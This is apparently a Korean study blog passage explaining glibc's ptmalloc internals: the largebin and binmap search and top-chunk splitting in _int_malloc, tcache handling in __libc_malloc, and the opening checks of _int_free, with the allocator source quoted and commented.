         If a large request, scan through the chunks of current bin in
         sorted order to find smallest that fits.  Use the skip list for this.
       */

      if (!in_smallbin_range (nb))
        {
          bin = bin_at (av, idx);

          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin
          && (unsigned long) chunksize_nomask (victim)
            >= (unsigned long) (nb))
            {
              victim = victim->bk_nextsize;
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb)))
                victim = victim->bk_nextsize;

              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
              if (victim != last (bin)
          && chunksize_nomask (victim)
            == chunksize_nomask (victim->fd))
                victim = victim->fd;

              remainder_size = size - nb;
              unlink_chunk (av, victim);

주석을 살펴보니 large bin의 탐색 차례가 맞는 듯 하다.

일단 가장 큰 if문의 조건을 살펴보면 nb가 smallbin의 범위에 있지 않다면, 즉 largebin의 범위에 있다면 if문 내부로 들어가게 된다.

우선 bin_at 을 통해 idx에 해당하는 bin리스트를 bin에 가져온다.

그리고 또 하나의 두 번째로 큰 조건문이 존재하는데 이는 가져온 bin이 비어있지는 않은지, 그 bin의 largest chunk가 요청크기보다 크거나 같은지를 검사한다. 만약 bin이 비어있지 않고 bin의 가장 큰 청크가 요청크기보다 크거나 같다면 if문 내부로 들어가고 그렇지 않다면 bin이 비어있거나 bin에 존재하는 가장 큰 청크가 요청보다 작다는 것이기 때문에 if문 내부로 들어가지 않고 다음 흐름을 이어간다. (미리 흐름을 살펴보고 왔더니 인덱스값을 증가 시켜 large bin탐색을 이어가는 듯 하다.)

만약 if문 내부로 들어간다면 이는 적어도 지금 보고 있는 bin에는 사용가능한 청크가 있다는 것이기 때문에 할당이 무조건 이루어질 것이다.

if문 내부로 들어가면 해당 bin의 가장 작은 청크부터 시작해 요청크기보다 청크의 크기가 크거나 같아지는 순간까지 while문을 통해 청크를 탐색한다. 만약 while문을 빠져나갔다는 것은 victim이 처음으로 요청크기와 크거나 같아진 순간이라는 것이므로 while문 직후이 victim이 재할당 대상이 될 것이다.

그리고 victim청크를 분할하기에 앞서 만약 victim이 bin의 last chunk(최소청크)가 아니면서 victim의 크기가 victim의 fd의 크기와 같다면 victim을 victim의 fd로 바꾸어준다. 그냥 동일 크기의 청크가 존재한다면 무조건 forward에있는 것을 할당하는 것이 원칙인가보다.

어쨋든 알맞게 victim을 정하고 나면 청크를 분할하기 위한 절차가 시작된다. 우선 victim의 size에 해당하는 size에서 요청 크기인 nb를 빼서 remainder_size에 저장해준다. 그리고 unlink_chunk 로 victim청크를 av(아레나)로부터 unlink해준다.

              /* Exhaust */
              if (remainder_size < MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
            set_non_main_arena (victim);
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
          if (__glibc_unlikely (fwd->bk != bck))
            malloc_printerr ("malloc(): corrupted unsorted chunks");
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

그런데 만약 remainder_size가 MINSIZE 보다 작다면, 분할하고 남은 청크가 MINSIZE 보다 작아지면 안되기 때문에 바로 victim의 메모리상 인접 청크에 prev_inuse flag를 설정하고 해당 청크를 할당해버린다.

하지만 그런 경우가 아니라면 else문으로 들어가 분할 절차를 계속한다.

우선 remainder이라는 변수에 victim의 주소+nb의 주소를 넣어준다. 이는 victim을 필요한 만큼 쪼개고 남은청크의 시작 주소이다.

그리고 remainder 청크를 unsorted bin에 넣어준다.

좀 더 자세하게 보면, 다음과 같다. bck에 unsorted_chunks (av) 를 , fwd에 bck의 fd를 대입하여 remainder, 즉 쪼개고 남은 청크를 fwd와 bck의 사이에 삽입해준다. 그 과정에서 fwd의 bk와 bck가 같은지를 확인하는 검증 절차가 존재한다. 그리고 만약 remainder_size가 large bin의 범위에 들어간다면 fd_nextsize와 bk_nextsize를 null로 초기화해준다.

그리고 victim과 remainder를 각각 새로운 크기에 맞게 헤더값을 세팅해주고 remainder의 경우에는 메모리 상의 인접 청크에 prev_size도 알맞게 바꾸어준다.

그리고 victim청크를 할당해준다.

만약 여기서 할당이 이루어지지 못하면 계속 코드를 진행한다.

여기서부터는 이전 largebin에서 알맞은 청크를 찾지 못했을 때 도달하게 되는 코드이다.

첫 부분을 보면 idx를 1 증가시켜 bin을 계속 탐색한다는 것을 알 수 있다.

/*
         Search for a chunk by scanning bins, starting with next largest
         bin. This search is strictly by best-fit; i.e., the smallest
         (with ties going to approximately the least recently used) chunk
         that fits is selected.

         The bitmap avoids needing to check that most blocks are nonempty.
         The particular case of skipping all bins during warm-up phases
         when no chunks have been returned yet is faster than it might look.
       */

      ++idx;
      bin = bin_at (av, idx);
      block = idx2block (idx);
      map = av->binmap[block];
      bit = idx2bit (idx);

주석을 살펴보면 탐색을 하되 청크 선택의 원칙은 적합한 청크 중 가장 작은 청크라고 한다.

그리고 이전에 잠깐 봤던 개념인 bitmap을 활용한 탐색이 이루어지는 것 같다.

우선 idx를 1 증가 시키고, 그 인덱스에 해당하는 bin리스트를 bin에 가져온다.

그리고 그 bin에 해당하는 binmap을 가져오기 위한 block값을 가져오고 (이전에 살펴보았을 때, 모든 bin을 4개의 binmap에 나누어 관리한다고 했으므로 인덱스값을 바탕으로 해당하는 block값을 idx2block 으로 가져오는 듯 하다) map이라는 변수에 해당하는 binmap을 대입한다. 또한 idx를 비트값으로 변환하여 bit에 저장한다.

일단 이 부분을 자세하게 이해하려면 binmap의 개념을 확실하게 짚고 넘어가야 한다.

우선 binmap은 총 4개가 존재하며, 각 binmap당 담당하는 bin은 다음과 같다.

binmap[0] : 0 ~ 31, binmap[1] : 32 ~ 64, binmap[2] : 65 ~ 96, binmap[3] : 97 ~128

그리고 만약 특정 bin에 free청크가 배치된다면 그 bin에 해당하는 binmap에 그 bin에 대한 bit가 배치된다고 한다.

해당 bin에 대한 bit를 계산하는 매크로가 바로 idx2bit 인 듯 하다.

그러니까 idx2bit 매크로를 살펴보자. #define **idx2bit**(i) ((1U << ((i) & ((1U << **BINMAPSHIFT**) - 1))))

다음과 같은 형태로 되어있다. (BINMAPSHIFT 는 5이다. )

즉, idx2bit(idx) == 1U << ( idx & ((1U << BINMAPSHIFT) - 1)) == 1 << (idx & 31) 이다.

binmap을 사용하면 bin검색을 간소화할 수 있다고 했는데, 정확하진 않지만 binmap의 비트를 확인하여 해당 크기의 free chunk가 존재하는지를 바로 확인할 수 있기 때문인 것 같다.

일단 여기까지 보고 코드를 계속 봐보자.

      for (;; )
        {
          /* Skip rest of block if there are no more set bits in this block.  */
          if (bit > map || bit == 0)
            {
              do
                {
                  if (++block >= BINMAPSIZE) /* out of bins */
                    goto use_top;
                }
              while ((map = av->binmap[block]) == 0);

              bin = bin_at (av, (block << BINMAPSHIFT));
              bit = 1;
            }

          /* Advance to bin with set bit. There must be one. */
          while ((bit & map) == 0)
            {
              bin = next_bin (bin);
              bit <<= 1;
              assert (bit != 0);
            }

          /* Inspect the bin. It is likely to be non-empty */
          victim = last (bin);

또다시 for문이 등장하는데 뭔가 알맞은 bin을 찾을 때까지 계속 반복이 이루어지고, 이 for문을 빠져나가기 위한 방법은 return으로 인해 malloc이 종료되거나, goto로 인해 use_top으로 빠지거나 둘 중 하나인 듯 하다.

우선 가장 처음으로 bit(=idx2bit (idx))가 map(=av->binmap[block])보다 크거나 bit==0인지를 확인하고 있는데, 이 조건이 참이 된다는 것은 우리가 원하는 idx의 bin에 free된 청크가 존재하지 않는다는 뜻이다. 따라서 if문 내부에 들어가면 binmap[]의 값이 0이 아닌 binmap을 찾을 때까지 binmap의 인덱스 값인 block을 증가시켜 탐색하고 만약 모든 binmap이 다 0이라면 use_top이라는 부분으로 goto를 통해 이동한다. 이 부분은 large bin탐색 부분을 다 본 다음 살펴볼 예정이다.

확실히 이 부분만 봐도 수많은 largebin 리스트들을 일일히 확인하지 않아도 최대 4개의 binmap block만 살펴보면 되니까 만약 필요한 청크가 largebin에 없었다고 가정한다면 훨씬 효율적인 방법이라는 것을 알 수 있다.

어쨌든 goto를 통해 빠지지 않고 do-while문을 빠져나왔다는 것은 0이 아닌 binmap block이 있었다는 의미일 것이고, 0이 아닌 다음 binmap block을 찾았다면 다음 코드가 이어서 계속 실행될 것이다.

우선 bin_at 매크로를 통해서 해당 block의 범위 안에 드는 가장 첫 번째 bin을 가져온다. 그리고 그것의 bit를 1로 설정해준다.

처음에는 왜 bit를 1로 설정하는 것인지 이해가 가지 않았는데 직접 예시를 들어서 계산해보니 이해가 갔다. 만약에 지금 보고있는 binmap이 binmap[3]이라고 가정하면, 이 block에 해당하는 가장 첫 번째 bin에 해당하는 인덱스는 3 << BINMAPSHIFT = 96 이 될 것이다. (음.. 실제로 binmap[3]의 첫 인덱스 값은 97이긴 하다. 근데 이는 실질적인 코드 상에서 최적화를 하면서 사용하지 않는 첫 번째와 마지막 인덱스를 아예 제외시켜버린 것과 연관이 있을 듯 하다). 어쨋든 96이라고 가정하면 이 96의 비트값을 계산해보면 1 << (96 & 31) = 1 << 0 = 1 이다. 아마 어떤 block값에 이를 계산해도 가장 첫 번째 인덱스의 비트값은 1일 것이다. 그래서 초기 비트 값을 1로 설정하는 것이다.

어쨋든 보고 있는 block의 첫 번째 bin에 해당하는 정보들을 설정해주었으면 이제 bit & map의 값이 0이 아닐 때까지 다음 bin을 계속 탐색한다. bit&map가 0이라는 것은 해당 bit에 해당하는 인덱스의 bin에는 free된 청크가 없다는 것이므로 while문을 벗어날 때까지, 즉 free청크가 존재하는 bin을 찾을 때까지 bin의 정보를 업데이트하면서 탐색한다.

만약 while문을 벗어났다면, free 청크가 존재하는 bin을 찾았다는 것이다. 이제 그 bin을 대상으로 한 탐색을 시작한다. victim에 그 bin의 last chunk를 대입해준다.

          /*  If a false alarm (empty bin), clear the bit. */
          if (victim == bin)
            {
              av->binmap[block] = map &= ~bit; /* Write through */
              bin = next_bin (bin);
              bit <<= 1;
            }

          else
            {
              size = chunksize (victim);

              /*  We know the first chunk in this bin is big enough to use. */
              assert ((unsigned long) (size) >= (unsigned long) (nb));

              remainder_size = size - nb;

              /* unlink */
              unlink_chunk (av, victim);

              /* Exhaust */
              if (remainder_size < MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
            set_non_main_arena (victim);
                }

              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);

                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
          if (__glibc_unlikely (fwd->bk != bck))
            malloc_printerr ("malloc(): corrupted unsorted chunks 2");
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;

                  /* advertise as last remainder */
                  if (in_smallbin_range (nb))
                    av->last_remainder = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

어떻게 그런 상황이 생기는 지는 모르겠지만 bit값이 잘못될 때도 있나보다. 그래서 우리가 지금 보고 있는 bin이 만약 비어있다면 (victim == bin이라면) binmap에서 비트 정보를 바로잡아주고 또 다음 bin을 탐색한다. 그 이후의 탐색은 어떻게 되는건가 봤더니 애초에 지금 이 코드가 for문 내부에 존재했기 때문에 bin에는 다음 bin의 정보를, 그리고 그에 해당하는 비트를 bit에 저장한 상태로 for문의 초기로 돌아가 탐색을 이어가는 것 같다.

그리고 bin이 비어있는 것이 아니라면 else문으로 가서 청크를 할당하기 위한 절차를 밟는다.

우선 size에 victim의 크기값을 담아준다. 여기서 size는 당연히 요청 할당크기 보다 커야 한다.

remainder_size에 size에서 nb를 뺀 값을 담아준다. 분할 루틴에서 여러번 봤듯이 이는 필요한 만큼의 청크를 쪼개고 남은 청크의 크기이다.

이전에 청크를 쪼갰던 절차와 동일한 절차가 이루어진다.

victim을 arena로 부터 unlink하고, 만약 remainder_size가 MINSIZE보다 작으면 그냥 victim을 그대로 할당해주고, 아니라면 청크를 쪼개서 remainder청크는 unsortedbin에 삽입하고 쪼갠 청크를 할당한다.

6. top chunk분할 /sysmalloc

이제 아까 나중에 보기로 했던 use_top부분을 보자.

이 부분은 large bin에서도 알맞은 청크를 발견하지 못한다면 도달하게 되는 부분이다.

use_top:
      /*
         If large enough, split off the chunk bordering the end of memory
         (held in av->top). Note that this is in accord with the best-fit
         search rule.  In effect, av->top is treated as larger (and thus
         less well fitting) than any other available chunk since it can
         be extended to be as large as necessary (up to system
         limitations).

         We require that av->top always exists (i.e., has size >=
         MINSIZE) after initialization, so if it would otherwise be
         exhausted by current request, it is replenished. (The main
         reason for ensuring it exists is that we may need MINSIZE space
         to put in fenceposts in sysmalloc.)
       */

      victim = av->top;
      size = chunksize (victim);

      if (__glibc_unlikely (size > av->system_mem))
        malloc_printerr ("malloc(): corrupted top size");

      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);

          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }

이 부분에서는 top chunk를 사용한다. victim에 top청크의 베이스 주소를 넣어주고, size는 victim의 size가 된다. 그리고 size가 av->system_mem보다 큰지 확인하는 검증 절차를 거친다.

이후 size가 요청 사이즈보다 큰지 아닌지의 여부에 따라 나누어 처리한다.

만약 top청크의 size가 요청 사이즈보다 크다면 단순히 top청크를 쪼개서 쪼갠 청크를 할당해준다.

이 할당이 끝나고 나면 top청크의 크기는 줄어든 상태일 것이다.

이 부분은 메모리 할당 요청이 들어왔을 때, 사용할 적절한 Free Chunk가 없으면 Top Chunk를 쪼개어 사용한다고 배웠던 것과 일치한다.

하지만 요청 사이즈가 top chunk의 사이즈보다 크다면 어떻게 할까?

  /* When we are using atomic ops to free fast chunks we can get
         here for all block sizes.  */
      else if (atomic_load_relaxed (&av->have_fastchunks))
        {
          malloc_consolidate (av);
          /* restore original bin index */
          if (in_smallbin_range (nb))
            idx = smallbin_index (nb);
          else
            idx = largebin_index (nb);
        }

      /*
         Otherwise, relay to handle system-dependent cases
       */
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }
    } //-->for문
}//-->함수 전체

우선 fastchunk가 존재하는지 아닌지에 따라 경우가 나뉘어진다. 만약 fastbin에 청크가 존재한다면 malloc_consolidate를 통해서 fastbin의 청크들을 병합한다.

그리고 원래의 bin index를 복구해준다.

그리고 fastchunks가 존재하지 않으면 else문으로 간다. 이 부분을 보면 sysmalloc이라는 함수를 통해서 청크를 할당하고 반환한다. 내가 알기론 sysmalloc의 내부에서 필요에 따라 sbrk가 호출되는 것으로 알고 있는데, 이는 추후에 sbrk에 대한 분석 시에 sysmalloc을 제대로 분석해보면서 자세히 알아보아야 겠다.

결론

종합해보자면, _int_malloc은 fastbin⇒smallbin 탐색 ⇒malloc_consolidate⇒ unsorted bin탐색(last remainder확인⇒ unsorted bin내의 fit청크 확인⇒아니면 bin으로 분류를 반복) ⇒ largebin탐색⇒ (topchunk를 쪼개서 할당/sysmalloc을 통한 할당)의 순서로 진행된다.

역시나 tcache 청크의 재할당은 __libc_malloc에서 이루어지므로 _int_malloc내부엔 tcache의 청크를 재할당하는 것은 존재하지 않았다. (unsorted bin탐색 과정에서 tcache로 들어가게 된 청크 할당하는 것을 제외한다면)

각종 bin에 대해서 배울 때 잘 이해가 되지 않았던 것들을 보다 확실하게 알 수 있었던 것 같다.

부분을 나눠 자세하게 살펴보자.

PART 1

  mstate ar_ptr;
  void *victim;

  _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
                  "PTRDIFF_MAX is not more than half of SIZE_MAX");

  if (!__malloc_initialized)
    ptmalloc_init ();

우선 mstate형 ar_ptr변수와 void형 포인터 victim이 선언된다.

mstate는 malloc_state구조체에 대한 포인터형이다.

typedef struct malloc_state *mstate;

그리고 victime은 malloc이 종료된 다음 반환될 변수라는 점을 기억하자.

그리고 그 다음 _Static_assert함수는 컴파일 타임에 조건을 검사하는 함수이므로 일단 넘어가자,

다음으로는 malloc이 초기화되었는지를 나타내는 __malloc_initialized가 flase이면 ptmalloc_init ()를 실행해 초기화를 진행한다.

/* Already initialized? */
static bool __malloc_initialized = false;

//https://elixir.bootlin.com/glibc/latest/source/malloc/arena.c#L261
static void
ptmalloc_init (void)
{
  if (__malloc_initialized)
    return;

  __malloc_initialized = true;

#if USE_TCACHE
  tcache_key_initialize ();
#endif
.....(중략)

우선 __malloc_initialized의 초기값은 flase이며 ptmalloc_init() 내부 루틴에 의해 이 함수가 한번이라도 실행되면 __malloc_initialized를 true로 만들기 때문에 무조건 초기화(=ptmalloc_init의 실행)는 맨 처음 한 번 이루어질 것이다.

PART 2

#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes = checked_request2size (bytes);
  if (tbytes == 0)
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache != NULL
      && tcache->counts[tc_idx] > 0)
    {
      victim = tcache_get (tc_idx);
      return tag_new_usable (victim);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif

#if USE_TCACHE~#endif에 해당하는 위 부분은 tcache가 도입되며 추가된 부분이라고 한다.

즉, tcache에 관한 부분이다.

우선 size_t형의 tbytes라는 변수에 checked_request2size (bytes)의 반환 값을 넣어준다.

checked_request2size는 입력 받은 bytes가 PTRDIFF_MAX 보다 크다면 바로 0을, MINSIZE 보다 작으면 MINSIZE 를, 그 외에는 제대로 된 size의 값을 반환한다. 따라서 만약 요청된 bytes가 정해진 값보다 크다면 아래의 if문이 실행되어 에러 넘버가 설정되고 널 값이 반환되면서 malloc이 종료될 것이다. 그 외의 경우에는 tbytes에 적당한 size값이 대입 된 채로 계속 진행될 것이다.

다음으로는 tc_idx라는 변수에 csize2tidx (tbytes)의 반환값(=tbytes에 해당하는 tcache인덱스 값)을 넣는다.

다음으로는 MAYBE_INIT_TCACHE ()를 수행하여 tcache에 대한 초기화를 수행한다 (tcache_perthread_struct 구조체를 동적할당, 구조체 포인터 변수 tcache에 해당 주소 저장)

이는 tcache의 값이 NULL일 때만 실행되므로 가장 첫 번째의 malloc수행에만 초기화가 진행될 것임.

• MAYBE_INIT_TCACHE 상세

  <tcache관련 구조체, 변수 정의>

    typedef struct tcache_entry
    {
      struct tcache_entry *next;
      /* This field exists to detect double frees.  */
      uintptr_t key;
    } tcache_entry;
  
    //tcache를 관리하는 구조체
    typedef struct tcache_perthread_struct
    {
      uint16_t counts[TCACHE_MAX_BINS];
      tcache_entry *entries[TCACHE_MAX_BINS];
    } tcache_perthread_struct;
  
    static __thread tcache_perthread_struct *tcache = NULL;

  <함수 내부 코드>

    //https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L3264
  
    # define MAYBE_INIT_TCACHE() \
      if (__glibc_unlikely (tcache == NULL)) \
        tcache_init();
  
    static void
    tcache_init(void)
    {
      mstate ar_ptr;
      void *victim = 0;
      const size_t bytes = sizeof (tcache_perthread_struct);
  
      if (tcache_shutting_down)
        return;
  
      arena_get (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
      if (!victim && ar_ptr != NULL)
        {
          ar_ptr = arena_get_retry (ar_ptr, bytes);
          victim = _int_malloc (ar_ptr, bytes);
        }
  
      if (ar_ptr != NULL)
        __libc_lock_unlock (ar_ptr->mutex);
  
      /* In a low memory situation, we may not be able to allocate memory
         - in which case, we just keep trying later.  However, we
         typically do this very early, so either there is sufficient
         memory, or there isn't enough memory to do non-trivial
         allocations anyway.  */
      if (victim)
        {
          tcache = (tcache_perthread_struct *) victim;
          memset (tcache, 0, sizeof (tcache_perthread_struct));
        }
  
    }

그리고 아래의 세 가지 조건을 만족하면 tcache_get함수를 실행시켜 해당 idx에 해당하는 tcache 청크를 재 할당한다.

1. 아까 tc_idx에 저장한 인덱스의 값이 mp_.tcache_bins, 즉 TCACHE_MAX_BINS 의 값보다 작다면(tcache 내에서 유효한 인덱스라면)
2. tache가 널이 아니라면
3. tcache->counts[tc_idx]가 0보다 크다면 (해당 idx에 해당하는 freed tcache 청크가 tcache bin에 이미 존재한다면)

또한, 청크를 재할당하기 위한 매커니즘은 다음과 같다.

victim = tcache_get (tc_idx); ⇒ 해당 idx에 해당하는 tcache list의 청크 주소를 반환함 + tcache_perthread_struct의 해당 idx의 count를 1 줄이고 반환한(재할당할)청크의 key값을 널로 바꿈.

• 함수 내부 상세

    tcache_get (size_t tc_idx)
    {
      return tcache_get_n (tc_idx, & tcache->entries[tc_idx]);
    }
  
    tcache_get_n (size_t tc_idx, tcache_entry **ep)
    {
      tcache_entry *e;
      if (ep == &(tcache->entries[tc_idx]))
        e = *ep;
      else
        e = REVEAL_PTR (*ep);
  
      if (__glibc_unlikely (!aligned_OK (e)))
        malloc_printerr ("malloc(): unaligned tcache chunk detected");
  
      if (ep == &(tcache->entries[tc_idx]))  
          *ep = REVEAL_PTR (e->next);
      else
        *ep = PROTECT_PTR (ep, REVEAL_PTR (e->next));
  
      --(tcache->counts[tc_idx]);
      e->key = 0;
      return (void *) e;
    }
  
    tag_new_usable (void *ptr)
    {
      if (__glibc_unlikely (mtag_enabled) && ptr)
        {
          mchunkptr cp = mem2chunk(ptr);
          ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
        }
      return ptr;
    }

만약 여기서 tcache의 재할당이 이루어진다면, __libc_malloc은 여기서 victim을 return하며 아예 종료되어버린다.

만약 이루어지지 않는다면 함수는 계속 진행된다.

PART 3

if (SINGLE_THREAD_P)
    {
      victim = tag_new_usable (_int_malloc (&main_arena, bytes));
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }

tcache의 재할당이 이루어지지 않았을 때 실행되는 부분들이다.

해당 if문 내부는 단일 스레드일 때 실행된다. (SINGLE_THREAD_P)

그리고 main_arena의 주소와 bytes를 인자로 _int_malloc을 호출하고 반환 값을 victim에 넣는다.(실질적인 동적 할당이 일어나는 부분)

다음으로 다음 조건들을 확인하고(정상적으로 할당이 되었는지 확인) victim을 반환하고, 함수를 종료한다.

1. victim이 널이 아님
2. check for mmap()'ed chunk
3. 청크가 main_arena의 청크인지 확인

단일 스레드인 경우 여기서 __libc_malloc이 종료된다.

PART 4

 arena_get (ar_ptr, bytes);

  victim = _int_malloc (ar_ptr, bytes);
  /* Retry with another arena only if we were able to find a usable arena
     before.  */
  if (!victim && ar_ptr != NULL)
    {
      LIBC_PROBE (memory_malloc_retry, 1, bytes);
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }

  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);

  victim = tag_new_usable (victim);

  assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          ar_ptr == arena_for_chunk (mem2chunk (victim)));
  return victim;

여기서부터는 단일 스레드 상황이 아닐 때 실행되는 부분일 것이다.

우선 알맞은 arena의 주소를 malloc_state포인터인 ar_ptr에 저장하고,

_int_malloc으로 ar_ptr기반의 동적할당을 해 victim에 할당된 주소를 저장한다.

다음으로 victim과 ar_ptr이 널이 아닐 때(즉, 제대로 된 동적할당이 이루어졌을 때)

usable arena가 존재하는 경우 해당 arena에 대해 malloc을 retry한다.

이후 assert로 동적할당이 제대로 이루어졌는지 확인하고

victim을 malloc의 반환값으로 반환하고 함수를 종료한다.

정리

전반적으로 초기화 ⇒ tcache확인 ⇒ 싱글 스레드 할당 ⇒ 멀티스레드 할당 의 순서로 이루어진다.

만약 tcache에 재사용할 bin이 존재하지 않는 이상, 실질적으로 동적할당이 일어나는 부분은 _int_malloc인 듯 하다. 이 함수를 살펴볼 필요가 있다.

우선 함수의 형태와 맨 처음 선언된 변수들을 살펴보자.

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  size = chunksize (p);

mstate형 av와 mchunkptr형 p를 입력받는다. _int_free를 호출하는 __libc_free함수를 살펴보면, p는 할당 해제할 청크를 가리키는 포인터이며 av는 p가 속하는 arena이다.

다음으로 함수 내부에서 필요한 각종 변수들을 선언하는데, 이 중 size는 해제할 청크의 크기를 가리킨다. 그 외 다른 변수들은 필요할 때 알아보도록 하자.

/* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

  check_inuse_chunk(av, p);

그리고 몇 가지 사전적인 보호 절차가 이루어진다.

free할 청크에 대해 유효한 포인터인지, size값이 유효한 지, 제대로 된 청크인지 등을 확인한다.

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
    /* Check to see if it's already in the tcache.  */
    tcache_entry *e = (tcache_entry *) chunk2mem (p);

    /* This test succeeds on double free.  However, we don't 100%
       trust it (it also matches random payload data at a 1 in
       2^<size_t> chance), so verify it's not an unlikely
       coincidence before aborting.  */
    if (__glibc_unlikely (e->key == tcache_key))
      {
        tcache_entry *tmp;
        size_t cnt = 0;
        LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache->entries[tc_idx];
         tmp;
         tmp = REVEAL_PTR (tmp->next), ++cnt)
          {
        if (cnt >= mp_.tcache_count)
          malloc_printerr ("free(): too many chunks detected in tcache");
        if (__glibc_unlikely (!aligned_OK (tmp)))
          malloc_printerr ("free(): unaligned chunk detected in tcache 2");
        if (tmp == e)
          malloc_printerr ("free(): double free detected in tcache 2");
        /* If we get here, it was a coincidence.  We've wasted a
           few cycles, but don't abort.  */
          }
      }

    if (tcache->counts[tc_idx] < mp_.tcache_count)
      {
        tcache_put (p, tc_idx);
        return;
      }
      }
  }
#endif

다음 부분은 tcache를 사용하는 경우에 동작하는 코드이다.

해제할 청크를 tcache_entry형 포인터 e로 변환해 (tcache의 청크에 해당하는 구조체) 해당 청크에 대해 double free여부를 검사한다.

우선 e의 key값이 tcache_key와 동일하다면 if문이 실행된다. (=각종 검사의 대상이 된다)

if문 내부로 들어가면 현재 free할 청크의 size에 해당하는 index의 entries 연결리스트의 가장 첫 번째 청크부터 마지막 청크까지를 반복문에 의해 모두 검사한다.

초기값 0에서부터 반복 시 마다 1씩 증가하는 값인 cnt를 가지고 mp_.tcache_count의 값과 비교해 청크 개수가 올바른지 확인하고 aligned_OK 매크로를 사용하여 연결리스트에 존재하는 청크의 align이 올바른지 확인한다. (주소값의 16진수 기준 마지막 자리수가 0x0인지 확인함) 그리고 tmp==e의 여부를 확인하여 free하려는 청크가 이미 tcache에 들어있는지를 확인한다.

모든 경우에 대해 위의 검사를 통과했다면 해당 size의 tcache에 아직 자리가 있다면 tcache_put함수에 의해 해제할 청크가 tcache에 들어가게 되고 return에 의해 _int_free가 종료된다.

만약 tcache가 가득찼다면 여기서 free가 이루어지지 못하고 다음 코드의 진행이 계속된다.

간단하게 다음 코드의 진행을 살펴보면 크게 if문, else if문, else문으로 나눌 수 있다.

우선 아래 코드에서 이 큰 구조에 해당하는 조건들은 볼드 처리를 해주었다.

간단하게 미리 언급하면 다음과 같다.

if ⇒ fastbin에 들어갈 수 있는 경우

else if ⇒ fastbin 이외의 경우이면서 mmap에 의해 할당받지 않은 경우

else ⇒ mmap에 의한 할당인 경우 (munmap으로 해제)

1. if문

우선 가장 첫 번째 if문을 살펴보자.

/*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */

  **if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
    If TRIM_FASTBINS set, don't place chunks
    bordering top into fastbins
      */
